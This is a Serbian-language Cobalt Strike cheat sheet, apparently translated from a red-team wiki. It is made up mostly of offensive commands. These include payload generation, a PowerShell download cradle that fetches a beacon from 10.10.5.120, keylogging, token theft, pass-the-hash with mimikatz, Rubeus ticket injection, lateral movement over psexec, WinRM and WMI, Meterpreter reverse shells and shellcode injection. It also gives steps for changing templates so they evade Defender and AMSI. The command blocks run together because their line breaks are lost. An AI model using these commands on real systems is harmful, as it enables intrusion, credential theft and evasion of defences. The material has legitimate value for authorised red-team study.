Cobalt Strike -> Слушаоци -> Додај/Уреди затим можете изабрати где слушати, коју врсту бикона користити (http, dns, smb...) и више.
Peer2Peer Слушаоци
Бикони ових слушаоца не морају директно комуницирати са C2, могу комуницирати преко других бикона.
Cobalt Strike -> Слушаоци -> Додај/Уреди затим морате изабрати TCP или SMB биконе
TCP бикон ће поставити слушаоца на изабраном порту. За повезивање са TCP биконом користите команду connect <ip> <port> са другог бикона
smb бикон ће слушати на пипе са изабраним именом. За повезивање са SMB биконом морате користити команду link [target] [pipe].
Генерише и хостује пакете
Генерише пакете у датотекама
Напади -> Пакети ->
HTMLApplication за HTA датотеке
MS Office Macro за офисни документ са макром
Windows Executable за .exe, .dll или сервис .exe
Windows Executable (S) за stageless .exe, .dll или сервис .exe (боље stageless него staged, мање IoC-ова)
Генерише и хостује пакете
Напади -> Веб Drive-by -> Скриптована Испорука преко Веба (S) Ово ће генерисати скрипту/извршни документ за преузимање бикона са Cobalt Strike у форматима као што су: bitsadmin, exe, powershell и python
Хостује пакете
Ако већ имате датотеку коју желите да хостујете на веб серверу, само идите на Напади -> Веб Drive-by -> Хостуј датотеку и изаберите датотеку за хостовање и конфигурацију веб сервера.
Опције бикона
# Изврши локални .NET бинарни фајлexecute-assembly</path/to/executable.exe># Снимци екранаprintscreen# Направи један снимак екрана помоћу PrintScr методеscreenshot# Направи један снимак екранаscreenwatch# Периодично прави снимке екрана## Идите на Приказ -> Снимци екрана да их видите# keyloggerkeylogger [pid] [x86|x64]## Приказ > Притиснуте тастере да видите притиснуте тастере# portscanportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Убаци акцију скенирања порта у други процесportscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Увези Powershell модулpowershell-importC:\path\to\PowerView.ps1powershell<овдеунеситеpowershellкоманду># Имитација корисника## Генеришење токена са креденцијалимаmake_token [DOMAIN\user] [password] #Креирај токен за имитирање корисника у мрежиls \\computer_name\c$ # Покушај коришћења генерисаног токена за приступ C$ на рачунаруrev2self# Престани користити токен генерисан са make_token## Коришћење make_token генерише догађај 4624: Налог је успешно пријављен. Овај догађај је веома чест у Windows домену, али се може сужавати филтрирањем по типу пријаве. Као што је поменуто, користи LOGON32_LOGON_NEW_CREDENTIALS који је тип 9.# UAC Bypasselevatesvc-exe<слушаоц>elevateuac-token-duplication<слушаоц>runasadminuac-cmstpluapowershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"## Укради токен из pid-а## Као make_token, али краде токен из процесаsteal_token [pid] # Такође, ово је корисно за мрежне акције, а не локалне акције## Из документације API-ја знамо да овај тип пријаве "омогућава позиваоцу да клонира свој тренутни токен". Зато Beacon исписује Impersonated <current_username> - имитира наш клонирани токен.ls \\computer_name\c$ # Покушај коришћења генерисаног токена за приступ C$ на рачунаруrev2self# Престани користити токен из steal_token## Покрени процес са новим креденцијалимаspawnas [domain\username] [password] [listener] #Урадите то из директоријума са приступом за читање као: cd C:\## Као make_token, ово ће генерисати Windows догађај 4624: Налог је успешно пријављен, али са типом пријаве 2 (LOGON32_LOGON_INTERACTIVE). Детаљно ће бити наведен позиваоц (TargetUserName) и имитирани корисник (TargetOutboundUserName).## Убаци у процесinject [pid] [x64|x86] [listener]## Са аспекта ОпСек-а: Не врши убацивање између различитих платформи осим ако заиста морате (нпр. x86 -> x64 или x64 -> x86).## Пренеси хеш## Овај процес измене захтева патчовање меморије LSASS што је акција високог ризика, захтева привилегије локалног администратора и није све то изводљиво ако је омогућено Заштићено Процесно Светло (PPL).pth [pid] [arch] [DOMAIN\user] [NTLM hash]pth [DOMAIN\user] [NTLM hash]## Пренеси хеш преко mimikatz-amimikatzsekurlsa::pth/user:<username>/domain:<DOMAIN>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## Без /run, mimikatz покреће cmd.exe, ако користите као корисник са Радном површином, видеће шел (ако користите као СИСТЕМ, све је у реду)steal_token<pid>#Укради токен из процеса који је креирао mimikatz## Пренеси тикет## Захтевај тикетexecute-assemblyC:\path\Rubeus.exeasktgt/user:<username>/domain:<domain>### Kreiranje nove sesije za prijavljivanje, zabeležite luid i processidexecute-assemblyC:\putanja\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Ubacite karticu u generisanu sesiju za prijavljivanjeexecute-assemblyC:\putanja\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Na kraju, ukradite token iz tog novog procesasteal_token<pid># Lateralno kretanje## Ako je token kreiran, biće korišćenjump [metoda] [cilj] [slušalac]## Metode:## psexec x86 Koristi uslugu za pokretanje artefakta Service EXE## psexec64 x64 Koristi uslugu za pokretanje artefakta Service EXE## psexec_psh x86 Koristi uslugu za pokretanje PowerShell jednolinije## winrm x86 Pokreće PowerShell skriptu putem WinRM-a## winrm64 x64 Pokreće PowerShell skriptu putem WinRM-aremote-exec [metoda] [cilj] [komanda]## Metode:## psexec Daljinsko izvršavanje putem Service Control Manager-a## winrm Daljinsko izvršavanje putem WinRM-a (PowerShell)## wmi Daljinsko izvršavanje putem WMI-a## Da biste izvršili beacon sa wmi (nije u jump komandi), samo otpremite beacon i izvršite gabeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Prosledi sesiju Metasploitu - Putem slušaoca## Na Metasploit hostumsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## Na Cobalt: Slušaoci > Dodaj i postavi Payload na Foreign HTTP. Postavi Host na 10.10.5.120, Port na 8080 i klikni Sačuvaj.beacon> spawnmetasploit## Možete spawn-ovati samo x86 Meterpreter sesije sa foreign slušaocem.# Prosledi sesiju Metasploitu - Putem ubrizgavanja shellcode-a## Na Metasploit hostumsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## Pokreni msfvenom i pripremi multi/handler slušaoca## Kopiraj bin fajl na Cobalt Strike hostpsshinject<pid>x64C:\Payloads\msf.bin#Ubrizgaj metasploit shellcode u x64 proces# Prosledi metasploit sesiju Cobalt Strike-u## Generiši stageless Beacon shellcode, idi na Attacks > Packages > Windows Executable (S), izaberi željeni slušalac, izaberi Raw kao Output tip i izaberi Use x64 payload.## Koristi post/windows/manage/shellcode_inject u metasploit-u da ubrizgaš generisani cobalt strike shellcode# Pivoting## Otvori socks proxy na teamserverubeacon> socks1080# SSH konekcijabeacon> ssh10.10.17.12:22korisničko_imelozinka
Izbegavanje AV-a
Artifact Kit
Obično u /opt/cobaltstrike/artifact-kit možete pronaći kod i prekompilirane šablone (u /src-common) payloada koje će cobalt strike koristiti za generisanje binarnih beacona.
Koristeći ThreatCheck sa generisanim backdoorom (ili samo sa kompiliranim šablonom) možete pronaći šta pokreće defender. Obično je to string. Stoga jednostavno izmenite kod koji generiše backdoor tako da taj string ne bude prisutan u finalnom binarnom fajlu.
Nakon izmene koda, pokrenite ./build.sh iz istog direktorijuma i kopirajte dist-pipe/ folder na Windows klijentu u C:\Tools\cobaltstrike\ArtifactKit.
Ne zaboravite da učitate agresivni skript dist-pipe\artifact.cna kako biste Cobalt Strike-u pokazali da koristi resurse sa diska koje želimo, a ne one koji su učitani.
Resource Kit
Folder ResourceKit sadrži predloške za skriptne payload-e Cobalt Strike-a, uključujući PowerShell, VBA i HTA.
Korišćenjem ThreatCheck sa predlošcima možete pronaći šta se ne sviđa zaštitniku (u ovom slučaju AMSI) i izmeniti to:
Modifikovanjem detektovanih linija može se generisati šablon koji neće biti uhvaćen.
Ne zaboravite da učitate agresivni skriptu ResourceKit\resources.cna kako biste Cobalt Strike-u pokazali da koristite resurse sa diska koje želite, a ne one koji su učitani.